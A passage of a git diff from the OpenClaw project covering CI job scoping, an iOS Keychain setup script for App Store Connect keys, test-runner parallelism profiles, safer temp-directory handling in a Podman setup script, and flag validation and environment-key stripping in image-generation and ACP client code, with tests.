`run_android=${scope.runAndroid}\n`, "utf8"); appendFileSync(outputPath, `run_windows=${scope.runWindows}\n`, "utf8"); + appendFileSync(outputPath, `run_skills_python=${scope.runSkillsPython}\n`, "utf8"); } function isDirectRun() { @@ -131,11 +144,23 @@ if (isDirectRun()) { try { const changedPaths = listChangedPaths(args.base, args.head); if (changedPaths.length === 0) { - writeGitHubOutput({ runNode: true, runMacos: true, runAndroid: true, runWindows: true }); + writeGitHubOutput({ + runNode: true, + runMacos: true, + runAndroid: true, + runWindows: true, + runSkillsPython: true, + }); process.exit(0); } writeGitHubOutput(detectChangedScope(changedPaths)); } catch { - writeGitHubOutput({ runNode: true, runMacos: true, runAndroid: true, runWindows: true }); + writeGitHubOutput({ + runNode: true, + runMacos: true, + runAndroid: true, + runWindows: true, + runSkillsPython: true, + }); } } diff --git a/scripts/generate-host-env-security-policy-swift.mjs b/scripts/generate-host-env-security-policy-swift.mjs index 4de64ad8d98..b87966c491e 100644 --- a/scripts/generate-host-env-security-policy-swift.mjs +++ b/scripts/generate-host-env-security-policy-swift.mjs @@ -24,7 +24,7 @@ const outputPath = path.join( "HostEnvSecurityPolicy.generated.swift", ); -/** @type {{blockedKeys: string[]; blockedOverrideKeys?: string[]; blockedPrefixes: string[]}} */ +/** @type {{blockedKeys: string[]; blockedOverrideKeys?: string[]; blockedOverridePrefixes?: string[]; blockedPrefixes: string[]}} */ const policy = JSON.parse(fs.readFileSync(policyPath, "utf8")); const renderSwiftStringArray = (items) => items.map((item) => ` "${item}"`).join(",\n"); @@ -44,6 +44,10 @@ ${renderSwiftStringArray(policy.blockedKeys)} ${renderSwiftStringArray(policy.blockedOverrideKeys ?? [])} ] + static let blockedOverridePrefixes: [String] = [ +${renderSwiftStringArray(policy.blockedOverridePrefixes ?? [])} + ] + static let blockedPrefixes: [String] = [ ${renderSwiftStringArray(policy.blockedPrefixes)} ] diff --git a/scripts/ios-asc-keychain-setup.sh b/scripts/ios-asc-keychain-setup.sh new file mode 100755 index 00000000000..125a3c54b82 --- /dev/null +++ b/scripts/ios-asc-keychain-setup.sh @@ -0,0 +1,187 @@ +#!/usr/bin/env bash +set -euo pipefail + +usage() { + cat <<'EOF' +Usage: + scripts/ios-asc-keychain-setup.sh --key-path /path/to/AuthKey_XXXXXX.p8 --issuer-id [options] + +Required: + --key-path Path to App Store Connect API key (.p8) + --issuer-id App Store Connect issuer ID + +Optional: + --key-id API key ID (auto-detected from AuthKey_.p8 if omitted) + --service Keychain service name (default: openclaw-asc-key) + --account Keychain account name (default: $USER or $LOGNAME) + --write-env Upsert non-secret env vars into apps/ios/fastlane/.env + --env-file Override env file path used with --write-env + -h, --help Show this help + +Example: + scripts/ios-asc-keychain-setup.sh \ + --key-path "$HOME/keys/AuthKey_ABC1234567.p8" \ + --issuer-id "00000000-1111-2222-3333-444444444444" \ + --write-env +EOF +} + +upsert_env_line() { + local file="$1" + local key="$2" + local value="$3" + local tmp + tmp="$(mktemp)" + + if [[ -f "$file" ]]; then + awk -v key="$key" -v value="$value" ' + BEGIN { updated = 0 } + $0 ~ ("^" key "=") { print key "=" value; updated = 1; next } + { print } + END { if (!updated) print key "=" value } + ' "$file" >"$tmp" + else + printf "%s=%s\n" "$key" "$value" >"$tmp" + fi + + mv "$tmp" "$file" +} + +delete_env_line() { + local file="$1" + local key="$2" + local tmp + tmp="$(mktemp)" + + if [[ ! -f "$file" ]]; then + rm -f "$tmp" + return + fi + + awk -v key="$key" ' + $0 ~ ("^" key "=") { next } + { print } + ' "$file" >"$tmp" + + mv "$tmp" "$file" +} + +KEY_PATH="" +KEY_ID="" +ISSUER_ID="" +SERVICE="openclaw-asc-key" +ACCOUNT="${USER:-${LOGNAME:-}}" +WRITE_ENV=0 +ENV_FILE="" + +REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +DEFAULT_ENV_FILE="$REPO_ROOT/apps/ios/fastlane/.env" + +while [[ $# -gt 0 ]]; do + case "$1" in + --key-path) + KEY_PATH="${2:-}" + shift 2 + ;; + --key-id) + KEY_ID="${2:-}" + shift 2 + ;; + --issuer-id) + ISSUER_ID="${2:-}" + shift 2 + ;; + --service) + SERVICE="${2:-}" + shift 2 + ;; + --account) + ACCOUNT="${2:-}" + shift 2 + ;; + --write-env) + WRITE_ENV=1 + shift + ;; + --env-file) + ENV_FILE="${2:-}" + shift 2 + ;; + -h|--help) + usage + exit 0 + ;; + *) + echo "Unknown argument: $1" >&2 + usage + exit 1 + ;; + esac +done + +if [[ -z "$KEY_PATH" || -z "$ISSUER_ID" ]]; then + echo "Missing required arguments." >&2 + usage + exit 1 +fi + +if [[ ! -f "$KEY_PATH" ]]; then + echo "Key file not found: $KEY_PATH" >&2 + exit 1 +fi + +if [[ -z "$KEY_ID" ]]; then + key_filename="$(basename "$KEY_PATH")" + if [[ "$key_filename" =~ ^AuthKey_([A-Za-z0-9]+)\.p8$ ]]; then + KEY_ID="${BASH_REMATCH[1]}" + else + echo "Could not infer --key-id from filename '$key_filename'. Pass --key-id explicitly." >&2 + exit 1 + fi +fi + +if [[ -z "$ACCOUNT" ]]; then + echo "Could not determine Keychain account. Pass --account explicitly." >&2 + exit 1 +fi + +KEY_CONTENT="$(cat "$KEY_PATH")" +if [[ -z "$KEY_CONTENT" ]]; then + echo "Key file is empty: $KEY_PATH" >&2 + exit 1 +fi + +security add-generic-password \ + -a "$ACCOUNT" \ + -s "$SERVICE" \ + -w "$KEY_CONTENT" \ + -U >/dev/null + +echo "Stored ASC API private key in macOS Keychain (service='$SERVICE', account='$ACCOUNT')." +echo +echo "Export these vars for Fastlane:" +echo "ASC_KEY_ID=$KEY_ID" +echo "ASC_ISSUER_ID=$ISSUER_ID" +echo "ASC_KEYCHAIN_SERVICE=$SERVICE" +echo "ASC_KEYCHAIN_ACCOUNT=$ACCOUNT" + +if [[ "$WRITE_ENV" -eq 1 ]]; then + if [[ -z "$ENV_FILE" ]]; then + ENV_FILE="$DEFAULT_ENV_FILE" + fi + + mkdir -p "$(dirname "$ENV_FILE")" + touch "$ENV_FILE" + + upsert_env_line "$ENV_FILE" "ASC_KEY_ID" "$KEY_ID" + upsert_env_line "$ENV_FILE" "ASC_ISSUER_ID" "$ISSUER_ID" + upsert_env_line "$ENV_FILE" "ASC_KEYCHAIN_SERVICE" "$SERVICE" + upsert_env_line "$ENV_FILE" "ASC_KEYCHAIN_ACCOUNT" "$ACCOUNT" + # Remove file/path based keys so Keychain is used by default. + delete_env_line "$ENV_FILE" "ASC_KEY_PATH" + delete_env_line "$ENV_FILE" "ASC_KEY_CONTENT" + delete_env_line "$ENV_FILE" "APP_STORE_CONNECT_API_KEY_PATH" + + echo + echo "Updated env file: $ENV_FILE" +fi diff --git a/scripts/ios-configure-signing.sh b/scripts/ios-configure-signing.sh index 99219725fe7..da534c6d0a5 100755 --- a/scripts/ios-configure-signing.sh +++ b/scripts/ios-configure-signing.sh @@ -63,6 +63,7 @@ fi bundle_base="$(normalize_bundle_id "${bundle_base}")" share_bundle_id="${OPENCLAW_IOS_SHARE_BUNDLE_ID:-${bundle_base}.share}" +activity_widget_bundle_id="${OPENCLAW_IOS_ACTIVITY_WIDGET_BUNDLE_ID:-${bundle_base}.activitywidget}" watch_app_bundle_id="${OPENCLAW_IOS_WATCH_APP_BUNDLE_ID:-${bundle_base}.watchkitapp}" watch_extension_bundle_id="${OPENCLAW_IOS_WATCH_EXTENSION_BUNDLE_ID:-${watch_app_bundle_id}.extension}" @@ -76,7 +77,8 @@ cat >"${tmp_file}" < Build smoke image (upgrade, root): $SMOKE_IMAGE" -docker build \ - -t "$SMOKE_IMAGE" \ - -f "$ROOT_DIR/scripts/docker/install-sh-smoke/Dockerfile" \ - "$ROOT_DIR/scripts/docker" +if [[ "$SKIP_SMOKE_IMAGE_BUILD" == "1" ]]; then + echo "==> Reuse prebuilt smoke image: $SMOKE_IMAGE" +else + echo "==> Build smoke image (upgrade, root): $SMOKE_IMAGE" + docker build \ + -t "$SMOKE_IMAGE" \ + -f "$ROOT_DIR/scripts/docker/install-sh-smoke/Dockerfile" \ + "$ROOT_DIR/scripts/docker" +fi echo "==> Run installer smoke test (root): $INSTALL_URL" docker run --rm -t \ @@ -36,11 +42,15 @@ fi if [[ "$SKIP_NONROOT" == "1" ]]; then echo "==> Skip non-root installer smoke (OPENCLAW_INSTALL_SMOKE_SKIP_NONROOT=1)" else - echo "==> Build non-root image: $NONROOT_IMAGE" - docker build \ - -t "$NONROOT_IMAGE" \ - -f "$ROOT_DIR/scripts/docker/install-sh-nonroot/Dockerfile" \ - "$ROOT_DIR/scripts/docker" + if [[ "$SKIP_NONROOT_IMAGE_BUILD" == "1" ]]; then + echo "==> Reuse prebuilt non-root image: $NONROOT_IMAGE" + else + echo "==> Build non-root image: $NONROOT_IMAGE" + docker build \ + -t "$NONROOT_IMAGE" \ + -f "$ROOT_DIR/scripts/docker/install-sh-nonroot/Dockerfile" \ + "$ROOT_DIR/scripts/docker" + fi echo "==> Run installer non-root test: $INSTALL_URL" docker run --rm -t \ diff --git a/scripts/test-parallel.mjs b/scripts/test-parallel.mjs index 176737d7be3..d524fb87438 100644 --- a/scripts/test-parallel.mjs +++ b/scripts/test-parallel.mjs @@ -111,8 +111,17 @@ const useVmForks = const disableIsolation = process.env.OPENCLAW_TEST_NO_ISOLATE === "1"; const includeGatewaySuite = process.env.OPENCLAW_TEST_INCLUDE_GATEWAY === "1"; const includeExtensionsSuite = process.env.OPENCLAW_TEST_INCLUDE_EXTENSIONS === "1"; +const rawTestProfile = process.env.OPENCLAW_TEST_PROFILE?.trim().toLowerCase(); +const testProfile = + rawTestProfile === "low" || + rawTestProfile === "max" || + rawTestProfile === "normal" || + rawTestProfile === "serial" + ? rawTestProfile + : "normal"; +const shouldSplitUnitRuns = testProfile !== "low" && testProfile !== "serial"; const runs = [ - ...(useVmForks + ...(shouldSplitUnitRuns ? [ { name: "unit-fast", @@ -121,7 +130,7 @@ const runs = [ "run", "--config", "vitest.unit.config.ts", - "--pool=vmForks", + `--pool=${useVmForks ? "vmForks" : "forks"}`, ...(disableIsolation ? ["--isolate=false"] : []), ...unitIsolatedFiles.flatMap((file) => ["--exclude", file]), ], @@ -141,7 +150,14 @@ const runs = [ : [ { name: "unit", - args: ["vitest", "run", "--config", "vitest.unit.config.ts"], + args: [ + "vitest", + "run", + "--config", + "vitest.unit.config.ts", + `--pool=${useVmForks ? "vmForks" : "forks"}`, + ...(disableIsolation ? ["--isolate=false"] : []), + ], }, ]), ...(includeExtensionsSuite @@ -207,14 +223,7 @@ const silentArgs = const rawPassthroughArgs = process.argv.slice(2); const passthroughArgs = rawPassthroughArgs[0] === "--" ? rawPassthroughArgs.slice(1) : rawPassthroughArgs; -const rawTestProfile = process.env.OPENCLAW_TEST_PROFILE?.trim().toLowerCase(); -const testProfile = - rawTestProfile === "low" || - rawTestProfile === "max" || - rawTestProfile === "normal" || - rawTestProfile === "serial" - ? rawTestProfile - : "normal"; +const topLevelParallelEnabled = testProfile !== "low" && testProfile !== "serial"; const overrideWorkers = Number.parseInt(process.env.OPENCLAW_TEST_WORKERS ?? "", 10); const resolvedOverride = Number.isFinite(overrideWorkers) && overrideWorkers > 0 ? overrideWorkers : null; @@ -399,6 +408,23 @@ const run = async (entry) => { return 0; }; +const runEntries = async (entries) => { + if (topLevelParallelEnabled) { + const codes = await Promise.all(entries.map(run)); + return codes.find((code) => code !== 0); + } + + for (const entry of entries) { + // eslint-disable-next-line no-await-in-loop + const code = await run(entry); + if (code !== 0) { + return code; + } + } + + return undefined; +}; + const shutdown = (signal) => { for (const child of children) { child.kill(signal); @@ -451,8 +477,7 @@ if (passthroughArgs.length > 0) { process.exit(Number(code) || 0); } -const parallelCodes = await Promise.all(parallelRuns.map(run)); -const failedParallel = parallelCodes.find((code) => code !== 0); +const failedParallel = await runEntries(parallelRuns); if (failedParallel !== undefined) { process.exit(failedParallel); } diff --git a/setup-podman.sh b/setup-podman.sh index 0079b3eeb3b..95a4415487c 100755 --- a/setup-podman.sh +++ b/setup-podman.sh @@ -27,6 +27,48 @@ require_cmd() { fi } +is_writable_dir() { + local dir="$1" + [[ -n "$dir" && -d "$dir" && ! -L "$dir" && -w "$dir" && -x "$dir" ]] +} + +is_safe_tmp_base() { + local dir="$1" + local mode="" + local owner="" + is_writable_dir "$dir" || return 1 + mode="$(stat -Lc '%a' "$dir" 2>/dev/null || true)" + if [[ -n "$mode" ]]; then + local perm=$((8#$mode)) + if (( (perm & 0022) != 0 && (perm & 01000) == 0 )); then + return 1 + fi + fi + if is_root; then + owner="$(stat -Lc '%u' "$dir" 2>/dev/null || true)" + if [[ -n "$owner" && "$owner" != "0" ]]; then + return 1 + fi + fi + return 0 +} + +resolve_image_tmp_dir() { + if ! is_root && is_safe_tmp_base "${TMPDIR:-}"; then + printf '%s' "$TMPDIR" + return 0 + fi + if is_safe_tmp_base "/var/tmp"; then + printf '%s' "/var/tmp" + return 0 + fi + if is_safe_tmp_base "/tmp"; then + printf '%s' "/tmp" + return 0 + fi + printf '%s' "/tmp" +} + is_root() { [[ "$(id -u)" -eq 0 ]]; } run_root() { @@ -209,15 +251,24 @@ if ! run_as_openclaw test -f "$OPENCLAW_JSON"; then fi echo "Building image from $REPO_PATH..." -podman build -t openclaw:local -f "$REPO_PATH/Dockerfile" "$REPO_PATH" +BUILD_ARGS=() +[[ -n "${OPENCLAW_DOCKER_APT_PACKAGES:-}" ]] && BUILD_ARGS+=(--build-arg "OPENCLAW_DOCKER_APT_PACKAGES=${OPENCLAW_DOCKER_APT_PACKAGES}") +[[ -n "${OPENCLAW_EXTENSIONS:-}" ]] && BUILD_ARGS+=(--build-arg "OPENCLAW_EXTENSIONS=${OPENCLAW_EXTENSIONS}") +podman build ${BUILD_ARGS[@]+"${BUILD_ARGS[@]}"} -t openclaw:local -f "$REPO_PATH/Dockerfile" "$REPO_PATH" echo "Loading image into $OPENCLAW_USER's Podman store..." -TMP_IMAGE="$(mktemp -p /tmp openclaw-image.XXXXXX.tar)" -trap 'rm -f "$TMP_IMAGE"' EXIT +TMP_IMAGE_DIR="$(resolve_image_tmp_dir)" +echo "Using temporary image dir: $TMP_IMAGE_DIR" +TMP_STAGE_DIR="$(mktemp -d -p "$TMP_IMAGE_DIR" openclaw-image.XXXXXX)" +TMP_IMAGE="$TMP_STAGE_DIR/image.tar" +chmod 700 "$TMP_STAGE_DIR" +trap 'rm -rf "$TMP_STAGE_DIR"' EXIT podman save openclaw:local -o "$TMP_IMAGE" -chmod 644 "$TMP_IMAGE" -(cd /tmp && run_as_user "$OPENCLAW_USER" env HOME="$OPENCLAW_HOME" podman load -i "$TMP_IMAGE") -rm -f "$TMP_IMAGE" +chmod 600 "$TMP_IMAGE" +# Stream the image into the target user's podman load so private temp directories +# do not need to be traversable by $OPENCLAW_USER. +cat "$TMP_IMAGE" | run_as_user "$OPENCLAW_USER" env HOME="$OPENCLAW_HOME" podman load +rm -rf "$TMP_STAGE_DIR" trap - EXIT echo "Copying launch script to $LAUNCH_SCRIPT_DST..." diff --git a/skills/nano-banana-pro/scripts/generate_image.py b/skills/nano-banana-pro/scripts/generate_image.py index cb470b384c9..796022adfba 100755 --- a/skills/nano-banana-pro/scripts/generate_image.py +++ b/skills/nano-banana-pro/scripts/generate_image.py @@ -42,6 +42,33 @@ def get_api_key(provided_key: str | None) -> str | None: return os.environ.get("GEMINI_API_KEY") +def auto_detect_resolution(max_input_dim: int) -> str: + """Infer output resolution from the largest input image dimension.""" + if max_input_dim >= 3000: + return "4K" + if max_input_dim >= 1500: + return "2K" + return "1K" + + +def choose_output_resolution( + requested_resolution: str | None, + max_input_dim: int, + has_input_images: bool, +) -> tuple[str, bool]: + """Choose final resolution and whether it was auto-detected. + + Auto-detection is only applied when the user did not pass --resolution. + """ + if requested_resolution is not None: + return requested_resolution, False + + if has_input_images and max_input_dim > 0: + return auto_detect_resolution(max_input_dim), True + + return "1K", False + + def main(): parser = argparse.ArgumentParser( description="Generate images using Nano Banana Pro (Gemini 3 Pro Image)" @@ -66,8 +93,8 @@ def main(): parser.add_argument( "--resolution", "-r", choices=["1K", "2K", "4K"], - default="1K", - help="Output resolution: 1K (default), 2K, or 4K" + default=None, + help="Output resolution: 1K, 2K, or 4K. If omitted with input images, auto-detect from largest image dimension." ) parser.add_argument( "--aspect-ratio", "-a", @@ -105,13 +132,12 @@ def main(): # Load input images if provided (up to 14 supported by Nano Banana Pro) input_images = [] - output_resolution = args.resolution + max_input_dim = 0 if args.input_images: if len(args.input_images) > 14: print(f"Error: Too many input images ({len(args.input_images)}). Maximum is 14.", file=sys.stderr) sys.exit(1) - max_input_dim = 0 for img_path in args.input_images: try: with PILImage.open(img_path) as img: @@ -126,15 +152,16 @@ def main(): print(f"Error loading input image '{img_path}': {e}", file=sys.stderr) sys.exit(1) - # Auto-detect resolution from largest input if not explicitly set - if args.resolution == "1K" and max_input_dim > 0: # Default value - if max_input_dim >= 3000: - output_resolution = "4K" - elif max_input_dim >= 1500: - output_resolution = "2K" - else: - output_resolution = "1K" - print(f"Auto-detected resolution: {output_resolution} (from max input dimension {max_input_dim})") + output_resolution, auto_detected = choose_output_resolution( + requested_resolution=args.resolution, + max_input_dim=max_input_dim, + has_input_images=bool(input_images), + ) + if auto_detected: + print( + f"Auto-detected resolution: {output_resolution} " + f"(from max input dimension {max_input_dim})" + ) # Build contents (images first if editing, prompt only if generating) if input_images: @@ -192,8 +219,9 @@ def main(): if image_saved: full_path = output_path.resolve() print(f"\nImage saved: {full_path}") - # OpenClaw parses MEDIA tokens and will attach the file on supported providers. - print(f"MEDIA: {full_path}") + # OpenClaw parses MEDIA: tokens and will attach the file on + # supported chat providers. Emit the canonical MEDIA: form. + print(f"MEDIA:{full_path}") else: print("Error: No image was generated in the response.", file=sys.stderr) sys.exit(1) diff --git a/skills/nano-banana-pro/scripts/test_generate_image.py b/skills/nano-banana-pro/scripts/test_generate_image.py new file mode 100644 index 00000000000..1dbae257428 --- /dev/null +++ b/skills/nano-banana-pro/scripts/test_generate_image.py @@ -0,0 +1,36 @@ +import importlib.util +from pathlib import Path + +import pytest + +MODULE_PATH = Path(__file__).with_name("generate_image.py") +SPEC = importlib.util.spec_from_file_location("generate_image", MODULE_PATH) +assert SPEC and SPEC.loader +MODULE = importlib.util.module_from_spec(SPEC) +SPEC.loader.exec_module(MODULE) + + +@pytest.mark.parametrize( + ("max_input_dim", "expected"), + [ + (0, "1K"), + (1499, "1K"), + (1500, "2K"), + (2999, "2K"), + (3000, "4K"), + ], +) +def test_auto_detect_resolution_thresholds(max_input_dim, expected): + assert MODULE.auto_detect_resolution(max_input_dim) == expected + + +def test_choose_output_resolution_auto_detects_when_resolution_omitted(): + assert MODULE.choose_output_resolution(None, 2200, True) == ("2K", True) + + +def test_choose_output_resolution_defaults_to_1k_without_inputs(): + assert MODULE.choose_output_resolution(None, 0, False) == ("1K", False) + + +def test_choose_output_resolution_respects_explicit_1k_with_large_input(): + assert MODULE.choose_output_resolution("1K", 3500, True) == ("1K", False) diff --git a/skills/notion/SKILL.md b/skills/notion/SKILL.md index 52b2ef5245d..f4152d23bf7 100644 --- a/skills/notion/SKILL.md +++ b/skills/notion/SKILL.md @@ -168,5 +168,7 @@ Common property formats for database items: - Page/database IDs are UUIDs (with or without dashes) - The API cannot set database view filters — that's UI-only -- Rate limit: ~3 requests/second average +- Rate limit: ~3 requests/second average, with `429 rate_limited` responses using `Retry-After` +- Append block children: up to 100 children per request, up to two levels of nesting in a single append request +- Payload size limits: up to 1000 block elements and 500KB overall - Use `is_inline: true` when creating data sources to embed them in pages diff --git a/skills/openai-image-gen/scripts/gen.py b/skills/openai-image-gen/scripts/gen.py index 4043f1a8ed7..2d8c7569016 100644 --- a/skills/openai-image-gen/scripts/gen.py +++ b/skills/openai-image-gen/scripts/gen.py @@ -9,6 +9,7 @@ import re import sys import urllib.error import urllib.request +from collections.abc import Callable from html import escape as html_escape from pathlib import Path @@ -75,6 +76,84 @@ def get_model_defaults(model: str) -> tuple[str, str]: return ("1024x1024", "high") +def normalize_optional_flag( + *, + model: str, + raw_value: str, + flag_name: str, + supported: Callable[[str], bool], + allowed: set[str], + allowed_text: str, + unsupported_message: str, + aliases: dict[str, str] | None = None, +) -> str: + """Normalize a string flag, warn when unsupported, and reject invalid values.""" + value = raw_value.strip().lower() + if not value: + return "" + + if not supported(model): + print(unsupported_message.format(model=model), file=sys.stderr) + return "" + + if aliases: + value = aliases.get(value, value) + + if value not in allowed: + raise ValueError( + f"Invalid --{flag_name} '{raw_value}'. Allowed values: {allowed_text}." + ) + return value + + +def normalize_background(model: str, background: str) -> str: + """Validate --background for GPT image models.""" + return normalize_optional_flag( + model=model, + raw_value=background, + flag_name="background", + supported=lambda candidate: candidate.startswith("gpt-image"), + allowed={"transparent", "opaque", "auto"}, + allowed_text="transparent, opaque, auto", + unsupported_message=( + "Warning: --background is only supported for gpt-image models; " + "ignoring for '{model}'." + ), + ) + + +def normalize_style(model: str, style: str) -> str: + """Validate --style for dall-e-3.""" + return normalize_optional_flag( + model=model, + raw_value=style, + flag_name="style", + supported=lambda candidate: candidate == "dall-e-3", + allowed={"vivid", "natural"}, + allowed_text="vivid, natural", + unsupported_message=( + "Warning: --style is only supported for dall-e-3; ignoring for '{model}'." + ), + ) + + +def normalize_output_format(model: str, output_format: str) -> str: + """Normalize output format for GPT image models and validate allowed values.""" + return normalize_optional_flag( + model=model, + raw_value=output_format, + flag_name="output-format", + supported=lambda candidate: candidate.startswith("gpt-image"), + allowed={"png", "jpeg", "webp"}, + allowed_text="png, jpeg, webp", + unsupported_message=( + "Warning: --output-format is only supported for gpt-image models; " + "ignoring for '{model}'." + ), + aliases={"jpg": "jpeg"}, + ) + + def request_images( api_key: str, prompt: str, @@ -194,9 +273,17 @@ def main() -> int: prompts = [args.prompt] * count if args.prompt else pick_prompts(count) + try: + normalized_background = normalize_background(args.model, args.background) + normalized_style = normalize_style(args.model, args.style) + normalized_output_format = normalize_output_format(args.model, args.output_format) + except ValueError as e: + print(str(e), file=sys.stderr) + return 2 + # Determine file extension based on output format - if args.model.startswith("gpt-image") and args.output_format: - file_ext = args.output_format + if args.model.startswith("gpt-image") and normalized_output_format: + file_ext = normalized_output_format else: file_ext = "png" @@ -209,9 +296,9 @@ def main() -> int: args.model, size, quality, - args.background, - args.output_format, - args.style, + normalized_background, + normalized_output_format, + normalized_style, ) data = res.get("data", [{}])[0] image_b64 = data.get("b64_json") diff --git a/skills/openai-image-gen/scripts/test_gen.py b/skills/openai-image-gen/scripts/test_gen.py index 3f0a38d978f..76445c0bb78 100644 --- a/skills/openai-image-gen/scripts/test_gen.py +++ b/skills/openai-image-gen/scripts/test_gen.py @@ -1,9 +1,100 @@ -"""Tests for write_gallery HTML escaping (fixes #12538 - stored XSS).""" +"""Tests for openai-image-gen helpers.""" import tempfile from pathlib import Path -from gen import write_gallery +import pytest +from gen import ( + normalize_background, + normalize_output_format, + normalize_style, + write_gallery, +) + + +def test_normalize_background_allows_empty_for_non_gpt_models(): + assert normalize_background("dall-e-3", "transparent") == "" + + +def test_normalize_background_allows_empty_for_gpt_models(): + assert normalize_background("gpt-image-1", "") == "" + assert normalize_background("gpt-image-1", " ") == "" + + +def test_normalize_background_normalizes_case_for_gpt_models(): + assert normalize_background("gpt-image-1", "TRANSPARENT") == "transparent" + + +def test_normalize_background_warns_when_model_does_not_support_flag(capsys): + assert normalize_background("dall-e-3", "transparent") == "" + captured = capsys.readouterr() + assert "--background is only supported for gpt-image models" in captured.err + + +def test_normalize_background_rejects_invalid_values(): + with pytest.raises(ValueError, match="Invalid --background"): + normalize_background("gpt-image-1", "checkerboard") + + +def test_normalize_style_allows_empty_for_non_dalle3_models(): + assert normalize_style("gpt-image-1", "vivid") == "" + + +def test_normalize_style_allows_empty_for_dalle3(): + assert normalize_style("dall-e-3", "") == "" + assert normalize_style("dall-e-3", " ") == "" + + +def test_normalize_style_normalizes_case_for_dalle3(): + assert normalize_style("dall-e-3", "NATURAL") == "natural" + + +def test_normalize_style_warns_when_model_does_not_support_flag(capsys): + assert normalize_style("gpt-image-1", "vivid") == "" + captured = capsys.readouterr() + assert "--style is only supported for dall-e-3" in captured.err + + +def test_normalize_style_rejects_invalid_values(): + with pytest.raises(ValueError, match="Invalid --style"): + normalize_style("dall-e-3", "cinematic") + + +def test_normalize_output_format_allows_empty_for_non_gpt_models(): + assert normalize_output_format("dall-e-3", "jpeg") == "" + + +def test_normalize_output_format_allows_empty_for_gpt_models(): + assert normalize_output_format("gpt-image-1", "") == "" + assert normalize_output_format("gpt-image-1", " ") == "" + + +def test_normalize_output_format_warns_when_model_does_not_support_flag(capsys): + assert normalize_output_format("dall-e-3", "jpeg") == "" + captured = capsys.readouterr() + assert "--output-format is only supported for gpt-image models" in captured.err + + +def test_normalize_output_format_normalizes_case_for_supported_values(): + assert normalize_output_format("gpt-image-1", "PNG") == "png" + assert normalize_output_format("gpt-image-1", "WEBP") == "webp" + + +def test_normalize_output_format_strips_whitespace_for_supported_values(): + assert normalize_output_format("gpt-image-1", " png ") == "png" +def test_normalize_output_format_keeps_supported_values(): + assert normalize_output_format("gpt-image-1", "png") == "png" + assert normalize_output_format("gpt-image-1", "jpeg") == "jpeg" + assert normalize_output_format("gpt-image-1", "webp") == "webp" + + +def test_normalize_output_format_normalizes_jpg_alias(): + assert normalize_output_format("gpt-image-1", "jpg") == "jpeg" + + +def test_normalize_output_format_rejects_invalid_values(): + with pytest.raises(ValueError, match="Invalid --output-format"): + normalize_output_format("gpt-image-1", "svg") def test_write_gallery_escapes_prompt_xss(): @@ -47,4 +138,3 @@ def test_write_gallery_normal_output(): assert "a lobster astronaut, golden hour" in html assert 'src="001-lobster.png"' in html assert "002-nook.png" in html - diff --git a/src/acp/client.test.ts b/src/acp/client.test.ts index 72958ca57c2..cbb52bd73cc 100644 --- a/src/acp/client.test.ts +++ b/src/acp/client.test.ts @@ -10,6 +10,8 @@ import { } from "./client.js"; import { extractAttachmentsFromPrompt, extractTextFromPrompt } from "./event-mapper.js"; +const envVar = (...parts: string[]) => parts.join("_"); + function makePermissionRequest( overrides: Partial = {}, ): RequestPermissionRequest { @@ -60,6 +62,54 @@ describe("resolveAcpClientSpawnEnv", () => { }); expect(env.OPENCLAW_SHELL).toBe("acp-client"); }); + + it("strips skill-injected env keys when stripKeys is provided", () => { + const openAiApiKeyEnv = envVar("OPENAI", "API", "KEY"); + const elevenLabsApiKeyEnv = envVar("ELEVENLABS", "API", "KEY"); + const anthropicApiKeyEnv = envVar("ANTHROPIC", "API", "KEY"); + const stripKeys = new Set([openAiApiKeyEnv, elevenLabsApiKeyEnv]); + const env = resolveAcpClientSpawnEnv( + { + PATH: "/usr/bin", + [openAiApiKeyEnv]: "openai-test-value", // pragma: allowlist secret + [elevenLabsApiKeyEnv]: "elevenlabs-test-value", // pragma: allowlist secret + [anthropicApiKeyEnv]: "anthropic-test-value", // pragma: allowlist secret + }, + { stripKeys }, + ); + + expect(env.PATH).toBe("/usr/bin"); + expect(env.OPENCLAW_SHELL).toBe("acp-client"); + expect(env.ANTHROPIC_API_KEY).toBe("anthropic-test-value"); + expect(env.OPENAI_API_KEY).toBeUndefined(); + expect(env.ELEVENLABS_API_KEY).toBeUndefined(); + }); + + it("does not modify the original baseEnv when stripping keys", () => { + const openAiApiKeyEnv = envVar("OPENAI", "API", "KEY"); + const baseEnv: NodeJS.ProcessEnv = { + [openAiApiKeyEnv]: "openai-original", // pragma: allowlist secret + PATH: "/usr/bin", + }; + const stripKeys = new Set([openAiApiKeyEnv]); + resolveAcpClientSpawnEnv(baseEnv, { stripKeys }); + + expect(baseEnv.OPENAI_API_KEY).toBe("openai-original"); + }); + + it("preserves OPENCLAW_SHELL even when stripKeys contains it", () => { + const openAiApiKeyEnv = envVar("OPENAI", "API", "KEY"); + const env = resolveAcpClientSpawnEnv( + { + OPENCLAW_SHELL: "skill-overridden", + [openAiApiKeyEnv]: "openai-leaked", // pragma: allowlist secret + }, + { stripKeys: new Set(["OPENCLAW_SHELL", openAiApiKeyEnv]) }, + ); + + expect(env.OPENCLAW_SHELL).toBe("acp-client"); + expect(env.OPENAI_API_KEY).toBeUndefined(); + }); }); describe("resolveAcpClientSpawnInvocation", () => { diff --git a/src/acp/client.ts b/src/acp/client.ts index 0cf9a194d88..54be5ffc455 100644 --- a/src/acp/client.ts +++ b/src/acp/client.ts @@ -348,8 +348,16 @@ function buildServerArgs(opts: AcpClientOptions): string[] { export function resolveAcpClientSpawnEnv( baseEnv: NodeJS.ProcessEnv = process.env, + options?: { stripKeys?: ReadonlySet }, ): NodeJS.ProcessEnv { - return { ...baseEnv, OPENCLAW_SHELL: "acp-client" }; + const env: NodeJS.ProcessEnv = { ...baseEnv }; + if (options?.stripKeys) { + for (const key of options.stripKeys) { + delete env[key]; + } + } + env.OPENCLAW_SHELL = "acp-client"; + return env; } type AcpSpawnRuntime = { @@ -450,7 +458,10 @@ export async function createAcpClient(opts: AcpClientOptions = {}): Promise ({ describe("serveAcpGateway startup", () => { let serveAcpGateway: typeof import("./server.js").serveAcpGateway; + function getMockGateway() { + const gateway = mockState.gateways[0]; + if (!gateway) { + throw new Error("Expected mocked gateway instance"); + } + return gateway; + } + + function captureProcessSignalHandlers() { + const signalHandlers = new Map void>(); + const onceSpy = vi.spyOn(process, "once").mockImplementation((( + signal: NodeJS.Signals, + handler: () => void, + ) => { + signalHandlers.set(signal, handler); + return process; + }) as typeof process.once); + return { signalHandlers, onceSpy }; + } + beforeAll(async () => { ({ serveAcpGateway } = await import("./server.js")); }); @@ -117,25 +137,14 @@ describe("serveAcpGateway startup", () => { }); it("waits for 